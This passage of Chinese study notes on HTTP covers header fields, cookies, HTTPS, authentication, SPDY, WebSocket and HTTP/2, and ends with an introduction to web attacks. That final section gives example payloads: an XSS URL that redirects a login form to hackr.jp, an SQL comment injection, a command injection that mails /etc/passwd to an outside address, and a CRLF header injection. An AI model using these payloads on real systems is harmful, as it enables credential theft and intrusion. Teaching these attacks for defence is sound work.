不指定权重 q 值时,默认权重为 q=1.0。

6.4.2 Accept-Charset

1
Accept-Charset: iso-8859-5, unicode-1-1;q=0.8

Accept-Charset 首部字段可用来通知服务器用户代理支持的字符集及字符集的相对优先顺序。
另外,可一次性指定多种字符集

6.4.3 Accept-Encoding

Accept-Encoding 首部字段用来告知服务器用户代理支持的内容编码及内容编码的优先级顺序。
可一次性指定多种内容编码。

几个内容编码的例子。
gzip
由文件压缩程序 gzip(GNU zip)生成的编码格式(RFC1952),采用Lempel-Ziv 算法(LZ77)及 32 位循环冗余校验(Cyclic RedundancyCheck,通称 CRC)。
compress
由 UNIX 文件压缩程序 compress 生成的编码格式,采用 Lempel-Ziv-Welch算法(LZW)。
deflate
组合使用 zlib 格式(RFC1950)及由 deflate 压缩算法(RFC1951)生成的编码格式。
identity
不执行压缩或不会变化的默认编码格式

6.4.4 Accept-Language

首部字段 Accept-Language 用来告知服务器用户代理能够处理的自然语言集(指中文或英文等),以及自然语言集的相对优先级。可一次指定多种自然语言集。

6.4.5 Authorization

1
Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

首部字段 Authorization 是用来告知服务器,用户代理的认证信息(证书值)。

6.4.6 Expect

客户端使用首部字段 Expect 来告知服务器,期望出现的某种特定行为。
客户端可以利用该首部字段,写明所期望的扩展。

1
Expect: 100-continue

虽然 HTTP/1.1 规范只定义了 100-continue(状态码 100 Continue 之意)。

6.4.7 From

告知服务器使用用户代理的用户的电子邮件地址。
通常,其使用目的就是为了显示搜索引擎等用户代理的负责人的电子邮件联系方式。

6.4.8 Host

虚拟主机运行在同一个 IP 上,因此使用首部字段 Host 加以区分
需要使用首部字段 Host 来明确指出请求的主机名。
若服务器未设定主机名,那直接发送一个空值即可。

6.4.9 If-Match

形如 If-xxx 这种样式的请求首部字段,都可称为条件请求
只有判断指定条件为真时,才会执行请求。

只有当 If-Match 的字段值跟 ETag 值匹配一致时,服务器才会接受请求

1
If-Match: "123456"

这时的服务器无法使用弱 ETag 值。

还可以使用星号(*)指定 If-Match 的字段值。
针对这种情况,服务器将会忽略 ETag的值,只要资源存在就处理请求。

6.4.10 If-Modified-Since

如果在 If-Modified-Since 字段指定的日期时间后,资源发生了更新,服务器会接受请求
如果请求的资源都没有过更新,则返回状态码 304 Not Modified的响应。(客户端)
获取资源的更新日期时间,可通过确认首部字段 Last-Modified 来确定(服务器端)。

6.4.11 If-None-Match

只有在 If-None-Match 的字段值与 ETag 值不一致时,可处理该请求。
在 GET 或 HEAD 方法中使用首部字段 If-None-Match 可获取最新的资源。

6.4.12 If-Range

首部字段 If-Range 属于附带条件之一。
它告知服务器若指定的 If-Range 字段值(ETag 值或者时间)和请求资源的 ETag 值或时间相一致时,则作为范围请求处理。
反之,则返回全体资源。

6.4.13 If-Unmodified-Since

1
If-Unmodified-Since: Thu, 03 Jul 2012 00:00:00 GMT

首部字段 If-Unmodified-Since 和首部字段 If-Modified-Since 的作用相反。
未发生更新的情况下,才能处理请求。

6.4.14 Max-Forwards

通过 TRACE 方法或 OPTIONS 方法,发送包含首部字段 Max-Forwards 的请求时,
该字段以十进制整数形式指定可经过的服务器最大数目
服务器在往下一个服务器转发请求之前,Max-Forwards 的值减 1 后重新赋值。
当服务器接收到 Max-Forwards值为 0 的请求时,则不再进行转发,而是直接返回响应。

6.4.15 Proxy-Authorization

1
Proxy-Authorization: Basic dGlwOjkpNLAGfFY5

接收到从代理服务器发来的认证质询时,客户端会发送包含首部字段 Proxy-Authorization 的请求,以告知服务器认证所需要的信息。

6.4.16 Range

1
Range: bytes=5001-10000

可告知服务器资源的指定范围。

6.4.17 Referer

首部字段 Referer 会告知服务器请求的原始资源的 URI。
客户端一般都会发送 Referer 首部字段给服务器。

出于安全性的考虑时,可以不发送该首部字段。
因为原始资源的 URI 中的查询字符串可能含有 ID 和密码等保密信息,要是写进Referer 转发给其他服务器,则有可能导致保密信息的泄露。
另外,Referer 的正确的拼写应该是 Referrer,但不知为何,大家一直沿用这个错误的拼写。

6.4.18 TE

1
TE: gzip, deflate;q=0.5

告知服务器客户端能够处理响应的传输编码方式及相对优先级。
它和首部字段 Accept-Encoding 的功能很相像,但是用于传输编码。

还可以指定伴随 trailer 字段的分块传输编码的方式。

1
TE: trailers

6.4.19 User-Agent

创建请求的浏览器和用户代理名称等信息传达给服务器。

由网络爬虫发起请求时,有可能会在字段内添加爬虫作者的电子邮件地址。

6.5 响应首部字段

6.5.1 Accept-Ranges

首部字段 Accept-Ranges 是用来告知客户端服务器是否能处理范围请求,以指定获取服务器端某个部分的资源。

1
Accept-Ranges: bytes

6.5.2 Age

1
Age: 600

首部字段 Age 能告知客户端,源服务器在多久前创建了响应。
Age 值是指缓存后的响应再次发起认证到认证完成的时间值。

6.5.3 ETag

1
ETag: "82e22293907ce725faf67773957acd12"

首部字段 ETag 能告知客户端实体标识
生成 ETag 值时,并没有统一的算法规则,而仅仅是由服务器来分配
若在下载过程中出现连接中断、再连接的情况,都会依照 ETag值来指定资源。

强 ETag 值和弱 Tag 值
强 ETag 值,不论实体发生多么细微的变化都会改变其值。

弱 ETag 值,只用于提示资源是否相同。只有资源发生了根本改变,产生差异时才会改变 ETag 值。
这时,会在字段值最开始处附加 W/。

1
ETag: W/"usagi-1234"

6.5.4 Location

1
Location: http://www.usagidesign.jp/sample.html

使用首部字段 Location 可以将响应接收方引导至某个与请求 URI 位置不同的资源。
基本上,该字段会配合 3xx :Redirection 的响应,提供重定向的 URI。

6.5.5 Proxy-Authenticate

1
Proxy-Authenticate: Basic realm="Usagidesign Auth"

把由代理服务器所要求的认证信息发送给客户端。
其认证行为是在客户端与代理之间进行的

6.5.6 Retry-After

1
Retry-After: 120

首部字段 Retry-After 告知客户端应该在多久之后再次发送请求。

6.5.7 Server

1
Server: Apache/2.2.6 (Unix) PHP/5.2.5

不单单会标出服务器上的软件应用名称,还有可能包括版本号和安装时启用的可选项。

6.5.8 Vary

当代理服务器接收到带有 Vary 首部字段指定获取资源的请求时,如果使用的 Accept-Language 字段的值相同,那么就直接从缓存返回响应。
反之,则需要先从源服务器端获取资源后才能作为响应返回

6.5.9 WWW-Authenticate

告知客户端适用于访问请求URI 所指定资源的认证方案(Basic 或是 Digest)和带参数提示的质询(challenge)。

6.6 实体首部字段

实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首部,用于补充内容的更新时间等与实体相关的信息。

6.6.1 Allow

用于通知客户端能够支持 Request-URI 指定资源的所有 HTTP 方法。
当服务器接收到不支持的 HTTP 方法时,会以状态码 405 Method Not Allowed 为响应返回。

6.6.2 Content-Encoding

1
Content-Encoding: gzip

告知客户端服务器对实体的主体部分选用的内容编码方式。

6.6.3 Content-Language

首部字段 Content-Language 会告知客户端,实体主体使用的自然语言(指中文或英文等语言)。

6.6.4 Content-Length

首部字段 Content-Length 表明了实体主体部分的大小(单位是字节)。
对实体主体进行内容编码传输时,不能再使用 Content-Length 首部字段。

6.6.5 Content-Location

首部字段 Content-Location 给出与报文主体部分相对应的 URI。
和首部字段 Location不同,Content-Location 表示的是报文主体返回资源对应的 URI。

当返回的页面内容与实际请求的对象不同时,首部字段 Content-Location 内会写明 URI。
(访问http://www.hackr.jp/ 返回的对象却是 http://www.hackr.jp/index-ja.html 等类似情况)

6.6.6 Content-MD5

客户端会对接收的报文主体执行相同的 MD5 算法,然后与首部字段Content-MD5 的字段值比较

1
Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==

首部字段 Content-MD5 是一串由 MD5 算法生成的值,其目的在于检查报文主体在传输过程中是否保持完整,以及确认传输到达。
对报文主体执行 MD5 算法获得的 128 位二进制数,通过 Base64 编码后将结果写入 Content-MD5 字段值。
由于 HTTP 首部无法记录二进制值,所以要通过 Base64编码处理。
为确保报文的有效性,作为接收方的客户端会对报文主体再执行一次相同的 MD5 算法。
计算出的值与字段值作比较后,即可判断出报文主体的准确性。

采用这种方法,对内容上的偶发性改变是无从查证的,也无法检测出恶意篡改。
其中一个原因在于,内容如果能够被篡改,那么同时意味着 Content-MD5 也可重新计算然后被篡改。
所以处在接收阶段的客户端是无法意识到报文主体以及首部字段Content-MD5 是已经被篡改过的。

6.6.7 Content-Range

1
Content-Range: bytes 5001-10000/10000

字段值以字节为单位,表示当前发送部分及整个实体大小。

6.6.8 Content-Type

1
Content-Type: text/html; charset=UTF-8

首部字段 Content-Type 说明了实体主体内对象的媒体类型

6.6.9 Expires

1
Expires: Wed, 04 Jul 2012 08:26:05 GMT

首部字段 Expires 会将资源失效的日期告知客户端。

源服务器不希望缓存服务器对资源缓存时,最好在 Expires 字段内写入与首部字段Date 相同的时间值。
但是,当首部字段 Cache-Control 有指定 max-age 指令时,比起首部字段 Expires,会优先处理 max-age 指令。

6.6.10 Last-Modified

1
Last-Modified: Wed, 23 May 2012 09:59:55 GMT

首部字段 Last-Modified 指明资源最终修改的时间。

虽然没有被编入标准化 HTTP/1.1 的RFC2616 中,但在 Web 网站方面得到了广泛的应用。

目前使用最广泛的 Cookie 标准却不是 RFC 中定义的任何一个。
而是在网景公司制定的标准上进行扩展后的产物。

为 Cookie 服务的首部字段

1
2
Set-Cookie  开始状态管理所使用的Cookie信息  响应首部字段
Cookie 服务器接收到的Cookie信息 请求首部字段

1
Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 GMT; path=/;

Set-Cookie 字段的属性:

1
2
3
4
5
6
NAME=VALUE 赋予 Cookie 的名称和其值(必需项)
expires=DATE Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止)
path=PATH 将服务器上的文件目录作为Cookie的适用对象(若不指定则默认为文档所在的文件目录)
domain=域名 作为 Cookie 适用对象的域名 (若不指定则默认为创建 Cookie 的服务器的域名)
Secure 仅在 HTTPS 安全通信时才会发送 Cookie
HttpOnly 加以限制,使 Cookie 不能被 JavaScript 脚本访问

expires 属性:
当省略 expires 属性时,其有效期仅限于维持浏览器会话(Session)时间段内。
可通过覆盖已过期的 Cookie,实现对客户端 Cookie 的实质性删除操作。

path 属性:
Cookie 的 path 属性可用于限制指定 Cookie 的发送范围的文件目录

domain 属性:
通过 Cookie 的 domain 属性指定的域名可做到与结尾匹配一致.
比如,当指定example.com 后,除 example.com 以外,www.example.com 或 www2.example.com 等都可以发送 Cookie。

因此,除了针对具体指定的多个域名发送 Cookie 之 外,不指定 domain 属性显得更安全

secure 属性:
Cookie 的 secure 属性用于限制 Web 页面仅在 HTTPS 安全连接时,才可以发送Cookie。

1
Set-Cookie: name=value; secure

HttpOnly 属性:
Cookie 的 HttpOnly 属性是 Cookie 的扩展功能,它使 JavaScript 脚本无法获得Cookie。

6.8 其他首部字段

HTTP 首部字段是可以自行扩展的。

最为常用的首部字段:
X-Frame-Options
X-XSS-Protection
DNT
P3P

6.8.1 X-Frame-Options

1
X-Frame-Options: DENY

首部字段 X-Frame-Options 属于 HTTP 响应首部,用于控制网站内容在其他 Web 网站的 Frame 标签内的显示问题。
其主要目的是为了防止点击劫持(clickjacking)攻击。

DENY :拒绝
SAMEORIGIN :仅同源域名下的页面(Top-level-browsing-context)匹配时许可。

6.8.2 X-XSS-Protection

1
X-XSS-Protection: 1

首部字段 X-XSS-Protection 属于 HTTP 响应首部,它是针对跨站脚本攻击(XSS)的一种对策,用于控制浏览器 XSS 防护机制的开关。

0 :将 XSS 过滤设置成无效状态
1 :将 XSS 过滤设置成有效状态

6.8.3 DNT

1
DNT: 1

DNT 是 Do Not Track 的简称,意为拒绝个人信息被收集,是表示拒绝被精准广告追踪的一种方法。
0 :同意被追踪
1 :拒绝被追踪

6.8.4 P3P

1
P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT"

通过利用 P3P 技术,可以让 Web 网站上的个人隐私变成一种仅供程序可理解的形式,以达到保护用户隐私的目的。

协议中对 X-前缀的废除

7.确保 Web 安全的 HTTPS

注意:https只是给发送信息做加密,但是如果用了代理,这个代理自己搭建了服务器,劫持并替代了原有服务器,那么https就没有意义了,所以https只能做到数据不可见,如果源头就被劫持的话,那一点意义都没有了

7.1 HTTP 的 缺 点

1.通信使用明文(不加密),内容可能会被窃听
2.不验证通信方的身份,因此有可能遭遇伪装
3.无法证明报文的完整性,所以有可能已遭篡改

7.1.1 通信使用明文可能会被窃听

由于 HTTP 本身不具备加密的功能,所以也无法做到对通信整体(使用 HTTP 协议通信的请求和响应的内容)进行加密。
即,HTTP 报文使用明文(指未经过加密的报文)方式发送。

TCP/IP 是可能被窃听的网络

通信内容在所有的通信线路上都有可能遭到窥视。

只是说如果通信经过加密,就有可能让人无法破解报文信息的含义,但加密处理后的报文信息本身还是会被看到的。

加密处理防止被窃听

1.通信的加密

一种方式就是将通信加密。HTTP 协议中没有加密机制,但可以通过和SSL(Secure Socket Layer,安全套接层)或 TLS(Transport Layer Security,安全层传输协议)的组合使用,加密 HTTP 的通信内容。

与 SSL 组合使用的 HTTP 被称为 HTTPS(HTTP Secure,超文本传输安全协议)或 HTTP over SSL。

2.内容的加密

把 HTTP 报文里所含的内容进行加密处理。
前提是要求客户端和服务器同时具备加密和解密机制。
内容的加密仍有被篡改的风险。

7.1.2 不验证通信方的身份就可能遭遇伪装

HTTP 协议中的请求和响应不会对通信方进行确认。

任何人都可发起请求

服务器只要接收到请求,不管对方是谁都会返回一个响应

HTTP 协议的实现本身非常简单,会存在以下各种隐患。

1.无法确定请求发送至目标的 Web 服务器是否是按真实意图返回响应的那台服务器。有可能是已伪装的 Web 服务器。
2.无法确定响应返回到的客户端是否是按真实意图接收响应的那个客户端。有可能是已伪装的客户端。
3.无法确定正在通信的对方是否具备访问权限。因为某些Web 服务器上保存着重要的信息,只想发给特定用户通信的权限。
4.无法判定请求是来自何方、出自谁手。
5.即使是无意义的请求也会照单全收。无法阻止海量请求下的DoS 攻击(Denial of Service,拒绝服务攻击)。

查明对手的证书

SSL 不仅提供加密处理,而且还使用了一种被称为证书的手段,可用于确定方。
证书由值得信任的第三方机构颁发。

7.1.3 无法证明报文完整性,可能已遭篡改

接收到的内容可能有误

没有任何办法确认,发出的请求 响应和接收到的请求 响应是前后相同的。

请求或响应在传输途中,遭攻击者拦截并篡改内容的攻击称为中间人攻击(Man-in-the-Middle attack,MITM)。

如何防止篡改

虽然有使用 HTTP 协议确定报文完整性的方法,但事实上并不便捷、可靠
其中常用的是 MD5SHA-1散列值校验的方法,以及用来确认文件的数字签名方法。

提供文件下载服务的 Web 网站也会提供相应的以 PGP(Pretty Good Privacy,完美隐私)创建的数字签名及 MD5 算法生成的散列值。
PGP 是用来证明创建文件的数字签名,MD5 是由单向函数生成的散列值。
不论使用哪一种方法,都需要操纵客户端的用户本人亲自检查验证下载的文件是否就是原来服务器上的文件。
浏览器无法自动帮用户检查。

7.2 HTTP+ 加 密 + 认 证 + 完 整 性 保 护 =HTTPS

7.2.1 HTTP 加上加密处理和认证以及完整性保护后即是 HTTPS

7.2.2 HTTPS 是身披 SSL 外壳的 HTTP

HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用 SSL(Secure Socket Layer)和 TLS(Transport Layer Security)协议代替而已。
通常,HTTP 直接和 TCP 通信。当使用 SSL 时,则演变成和 SSL 通信,由 SSL 和 TCP 通信了。

SSL 是独立于 HTTP 的协议,所以不光是 HTTP 协议,其他运行在应用层的 SMTP 和 Telnet 等协议均可配合 SSL 协议使用。

7.2.3 相互交换密钥的公开密钥加密技术

SSL 采用一种叫做公开密钥加密(Public-key cryptography)的加密处理方式。
加密和解密都会用到密钥。

共享密钥加密的困境

加密和解密同用一个密钥的方式称为共享密钥加密(Common key cryptosystem),也被叫做对称密钥加密。
共享密钥方式加密时必须将密钥也发给对方。

使用两把密钥的公开密钥加密

公开密钥加密方式很好地解决了共享密钥加密的困难。
解密过程就是在对离散对数进行求值,这并非轻而易举就能办到。
退一步讲,如果能对一个非常大的整数做到快速地因式分解,那么密码破解还是存在希望的。
但就目前的技术来看是不太现实的。

HTTPS 采用混合加密机制

HTTPS 采用共享密钥加密和公开密钥加密两者并用的混合加密机制。

7.2.4 证明公开密钥正确性的证书

遗憾的是,公开密钥加密方式还是存在一些问题的。
(证书目的)那就是无法证明公开密钥本身就是货真价实的公开密钥。

或许在公开密钥传输途中,真正的公开密钥已经被攻击者替换掉了。
为了解决上述问题,可以使用由数字证书认证机构(CA,Certificate Authority)和其相关机关颁发的公开密钥证书。

可证明组织真实性的 EV SSL 证书

证书的一个作用是用来证明:
1.服务器是否规范
2.企业是否真实存在

用以确认客户端的客户端证书

HTTPS 中还可以使用客户端证书。
以客户端证书进行客户端认证,证明服务器正在通信的对方始终是预料之内的客户端

客户端存在几处问题点:
1.用户得自行安装客户端证书
2.客户端证书毕竟只能用来证明客户端实际存在,而不能用来证明用户本人的真实有效性。也就是说,只要获得了安装有客户端证书的计算机的使用权限,也就意味着同时拥有了客户端证书的使用权限。

银行的网上银行就采用了客户端证书。

认证机构信誉第一

由自认证机构颁发的证书称为自签名证书

如果使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证
机构,从而自己给自己颁发服务器证书。

7.2.5 HTTPS 的安全通信机制

具体过程可以参考脑图

SSL 和 TLS

SSL 技术最初是由浏览器开发商网景通信公司率先倡导的,开发过 SSL3.0之前的版本。目前主导权已转移到 IETF的手中。
IETF 以 SSL3.0 为基准,后又制定了 TLS1.0、TLS1.1 和 TLS1.2。
TSL 是以 SSL 为原型开发的协议,有时会统一称该协议为 SSL。
当前主流的版本是 SSL3.0 和 TLS1.0。

SSL 速度慢吗

HTTPS 也存在一些问题,那就是当使用 SSL 时,它的处理速度会变慢。
SSL 的慢分两种。
一种是指通信慢。
另一种是指由于大量消耗 CPU 及内存等资源,导致处理速度变慢。

和使用 HTTP 相比,网络负载可能会变慢 2 到 100 倍。

针对速度变慢这一问题,并没有根本性的解决方案,我们会使用 SSL 加速器这种(专用服务器)硬件来改善该问题。

为什么不一直使用 HTTPS

如果是非敏感信息则使用 HTTP 通信,只有在包含个人信息等敏感数据时,才利用 HTTPS 加密通信。

8.确认访问用户身份的认证

8.1 何 为 认 证

核对的信息(认证方式)通常是指以下这些。
密码:只有本人才会知道的字符串信息。
动态令牌:仅限本人持有的设备内显示的一次性密码。
数字证书:仅限本人(终端)持有的信息。
生物认证:指纹和虹膜等本人的生理信息。
IC 卡等:仅限本人持有的信息。

HTTP 使用的认证方式:
BASIC 认证(基本认证)
DIGEST 认证(摘要认证)
SSL 客户端认证
FormBase 认证(基于表单认证)

8.2 BASIC 认 证

问题1:
BASIC 认证虽然采用 Base64 编码方式,但这不是加密处理。不需要任何附加信息即可对其解码。
换言之,由于明文解码后就是用户 ID 和密码

问题2:
除此之外想再进行一次 BASIC 认证时,一般的浏览器却无法实现认证注销操作,这也是问题之一。

8.3 DIGEST 认证

DIGEST 认证同样使用质询 响应的方式(challengeresponse),但不会像 BASIC 认证那样直接发送明文密码。

所谓质询响应方式是指,一开始一方会先发送认证要求给另一方,接着使用从另一方那接收到的质询码计算生成响应码。
最后将响应码返回给对方进行认证的方式。

8.4 SSL 客户端认证

8.4.1 SSL 客户端认证的认证步骤

客户端必须安装此证书。

8.4.2 SSL 客户端认证采用双因素认证

SSL 客户端认证不会仅依靠证书完成认证,一般会和基于表单认证(稍后讲解)组合形成一种双因素认证(Two-factor authentication)来使用。

第一个认证因素的 SSL 客户端证书用来认证客户端计算机,
另一个认证因素的密码则用来确定这是用户本人的行为。

8.4.3 SSL 客户端认证必要的费用

服务器运营者也可以自己搭建认证机构,但要维持安全运行就会产生相应的费用。

8.5 基于表单认证

8.5.1 认证多半为基于表单认证

SSH 和 FTP 协议,服务器与客户端之间的认证是合乎标准规范的,并且满足了最基本的功能需求上的安全使用级别,因此这些协议的认证可以拿来直接使用。

一般会使用 Cookie 来管理 Session(会话)。

基于表单认证本身是通过服务器端的 Web 应用,将客户端发送过来的用户 ID 和密码与之前登录过的信息做匹配来进行认证的。

因此即使当该用户下一次继续访问,也无法区分他与其他的用户。
于是我们会使用 Cookie 来管理 Session,以弥补 HTTP 协议中不存在的状态管理功能。


通常,一种安全的保存方法是,先利用给密码加盐(salt) 的方式增加额外信息,再使用散列(hash)函数计算出散列值后保存。

salt 其实就是由服务器随机生成的一个字符串,但是要保证长度足够长,并且是真正随机生成的。
然后把它和密码字符串相连接(前后都可以)生成散列值。
当两个用户使用了同一个密码时,由于随机生成的 salt 值不同,对应的散列值也将是不同的。
这样一来,很大程度上减少了密码特征,攻击者也就很难利用自己手中的密码特征库进行破解。

9.基于 HTTP 的功能追加协议

9.1 基于 HTTP 的协议

有一些新协议的规则是基于 HTTP 的,并在此基础上添加了新的功能。

9.2 消除 HTTP 瓶颈的 SPDY

开发目标旨在解决 HTTP 的性能瓶颈,缩短 Web 页面的加载时间(50%)。

9.2.1 HTTP 的瓶颈

为了尽可能实时地显示这些更新的内容,服务器上一有内容更新,就需要直接把那些内容反馈到客户端的界面上。

以下这些 HTTP 标准就会成为瓶颈:
1.一条连接上只可发送一个请求。
2.请求只能从客户端开始。客户端不可以接收除响应以外的指令。
3.请求 / 响应首部未经压缩就发送。首部信息越多延迟越大。
4.发送冗长的首部。每次互相发送相同的首部造成的浪费较多。
5.可任意选择数据压缩格式。非强制压缩发送。

Ajax 的解决方法

它只更新一部分页面,响应中传输的数据量会因此而减少,这一优点显而易见。
而利用 Ajax 实时地从服务器获取内容,有可能会导致大量请求产生。
另外,Ajax 仍未解决 HTTP 协议本身存在的问题。

Comet 的解决方法

一旦服务器端有内容更新了,Comet 不会让请求等待,而是直接给客户端返回响应。
这是一种通过延迟应答,模拟实现服务器端向客户端推送(Server Push)的功能。

通常,服务器端接收到请求,在处理完毕后就会立即返回响应,但为了实现推送功能,Comet 会先将响应置于挂起状态(长连接,等待响应为止),当服务器端有内容更新时,再返回该响应。

内容上虽然可以做到实时更新,但为了保留响应,一次连接的持续时间也变长了。
期间,为了维持连接会消耗更多的资源
另外,Comet 也仍未解决 HTTP 协议本身存在的问题。

SPDY 的目标

为了进行根本性的改善,需要有一些协议层面上的改动。

9.2.2 SPDY 的设计与功能

SPDY 没有完全改写 HTTP 协议,而是在 TCP/IP 的应用层与运输层之间通过新加会话层的形式运作。
省略····

使用 SPDY 后,HTTP 协议额外获得以下功能。
1.多路复用流
2.赋予请求优先级
3.压缩 HTTP 首部
4.推送功能
5.服务器提示功能

9.2.3 SPDY 消除 Web 瓶颈了吗

Web 浏览器及 Web 服务器都要为对应 SPDY 做出一定程度上的改动
当一个 Web 网站上使用多个域名下的资源,改善效果就会受到限制。

9.3 使用浏览器进行全双工通信的 WebSocket

9.3.1 WebSocket 的设计与功能

WebSocket,即 Web 浏览器与 Web 服务器之间全双工通信标准。

WebSocket技术主要是为了解决 Ajax 和 Comet 里 XMLHttpRequest 附带的缺陷所引起的问题。

9.3.2 WebSocket 协议

由于是建立在 HTTP 基础上的协议,因此连接的发起方仍是客户端,而一旦确立WebSocket 通信连接,不论服务器还是客户端,任意一方都可直接向对方发送报文。

WebSocket 协议的主要特点:
1.推送功能
2.减少通信量
一直保持连接状态
而且由于 WebSocket 的首部信息很小,通信量也相应减少了。

为了实现 WebSocket 通信,在 HTTP 连接建立之后,需要完成一次“握手”(Handshaking)的步骤。

握手·请求

为了实现 WebSocket 通信,需要用到 HTTP 的 Upgrade 首部字段,告知服务器通信协议发生改变,以达到握手的目的。

1
2
3
4
5
6
GET /chat HTTP/1.1 
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ
Sec-WebSocket-Version: 13

Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。
Sec-WebSocket-Protocol 字段内记录使用的子协议。

握手·响应

对于之前的请求,返回状态码 101 Switching Protocols 的响应。

1
2
3
4
HTTP/1.1 101 Switching Protocols 
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK

Sec-WebSocket-Accept 的字段值是由握手请求中的 Sec-WebSocket-Key 的字段值生成的。
成功握手确立 WebSocket 连接之后,通信时不再使用 HTTP 的数据帧,而采用 WebSocket 独立的数据帧。

9.4 期盼已久的 HTTP/2.0

HTTP/2.0 的目标是改善用户在使用 Web 时的速度体验。

HTTP/2.0 的 7 项技术及讨论

HTTP/2.0 围绕着主要的 7 项技术进行讨论,现阶段(2012 年 8 月 13 日),大都倾向于采用以下协议的技术。

1
2
3
4
5
6
7
压缩     SPDY、Friendly
多路复用 SPDY
TLS 义务化 Speed+ Mobility
协商 Speed+ Mobility,Friendly
客户端拉曳(Client Pull)/服务器推送(Server Push) Speed+ Mobility
流量控制 SPDY
WebSocket Speed+ Mobility

9.5 Web 服务器管理文件的 WebDAV

WebDAV是一个可对 Web 服务器上的内容直接进行文件复制、编辑等操作的分布式文件系统。
它作为扩展 HTTP/1.1 的协议定义在 RFC4918。

9.5.1 扩展 HTTP/1.1 的 WebDAV

9.5.2 WebDAV 内新增的方法及状态码

HTTP(80/tcp)和 HTTPS(443/tcp)

10.构建 Web 内容的技术

10.1 HTML

10.1.1 Web 页面几乎全由 HTML 构建

HTML是为了发送 Web 上的超文本而开发的标记语言
超文本是一种文档系统,可将文档中任意位置的信息与其他信息(文本或图片等)建立关联,即超链接文本。

10.3 Web 应用

10.3.1 通过 Web 提供功能的 Web 应用

由程序创建的内容称为动态内容,而事先准备好的内容称为静态内容

10.3.2 与 Web 服务器及程序协作的 CGI

CGI(Common Gateway Interface,通用网关接口)是指 Web 服务器在接收到客户端发送过来的请求后转发给程序的一组机制

10.3.3 因 Java 而普及的 Servlet

之前提及的 CGI,由于每次接到请求,程序都要跟着启动一次。
因此一旦访问量过大,Web 服务器要承担相当大的负载。
而 Servlet 运行在与 Web 服务器相同的进程中,因此受到的负载较小 。
Servlet 的运行环境叫做 Web 容器或 Servlet 容器。

10.4 数 据 发 布 的 格 式 及 语 言

10.4.1 可扩展标记语言

XML(eXtensible Markup Language,可扩展标记语言)是一种可按应用目标进行扩展的通用标记语言
XML 和 HTML 都是从标准通用标记语言 SGML(Standard Generalized MarkupLanguage)简化而成。

10.4.3 JavaScript 衍生的轻量级易用 JSON

能够处理的数据类型有 false/null/true/ 对象 数组 数字 / 字符串,这 7 种类型。

11.Web 的攻击技术

11.1 针 对 Web 的 攻 击 技 术

11.1.1 HTTP 不具备必要的安全功能

几乎现今所有的 Web 网站都会使用会话(session)管理、加密处理等安全性方面的功能,而 HTTP 协议内并不具备这些功能。
远程登录时会用到的 SSH 协议来说,SSH 具备协议级别的认证及会话管理等功能,HTTP 协议则没有。

11.1.2 在客户端即可篡改请求

通过 URL 查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。

11.1.3 针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。
主动攻击
被动攻击

11.1.3.1 以服务器为目标的主动攻击

主动攻击模式里具有代表性的攻击是 SQL 注入攻击OS 命令注入攻击

11.1.3.2 以服务器为目标的被动攻击

利用圈套策略执行攻击代码的攻击模式。

11.2 因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。
客户端的验证:
Web 应用端(服务器端)的验证:输入值验证和输出值转义

11.2.1 跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的 Web 网站注
册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。
跨站脚本攻击有可能造成以下影响:
1.利用虚假输入表单骗取用户个人信息。
2.利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
3.显示伪造的文章或图片。

XSS 是攻击者利用预先设置的陷阱触发的被动攻击

前提:
网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。

1
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

11.2.2 SQL 注入攻击

会执行非法 SQL 的 SQL 注入攻击

SQL 注入(SQL Injection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。
影响:
非法查看或篡改数据库内的数据
规避认证
执行和数据库服务器业务关联的程序等

例子:查询关键字
正常

1
http://tentou.cn/search?q=aaa

篡改后:

1
http://tentou.cn/search?q=aaa'--

导致–之后的内容会自动判为注释!!

11.2.3 OS 命令注入攻击

OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。
只要在能调用 Shell 函数的地方就有存在被攻击的风险。

例子:发送邮件
程序中的 open 函数会调用 sendmail 命令发送邮件,而指定的邮件发送地址即 $adr 的值。

1
; cat /etc/passwd | mail hack@example.jp

如果:攻击者的输入值中含有分号;。这个符号在 OS 命令中,会被解析为分隔多个执行命令的标记。

11.2.4 HTTP 首部注入攻击

HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。
属于被动攻击模式。
向首部主体内添加内容的攻击称为 HTTP 响应截断攻击。

例如:把从url接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。

1
2
3
Location: http://www.example.com/a.cgi?q=12345 
Set-Cookie: UID=12345
*12345就是插入值 uid是从url获取到的

影响:
设置任何 Cookie 信息
重定向至任意 URL
显示任意的主体(HTTP 响应截断攻击)

例如2: 添加换行符来修改cookie

1
http://example.com/?cat=101%0D%0ASet-Cookie:+SID=123456789

其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。

1
2
Location: http://example.com/?cat=101(%0D%0A :换行符) 
Set-Cookie

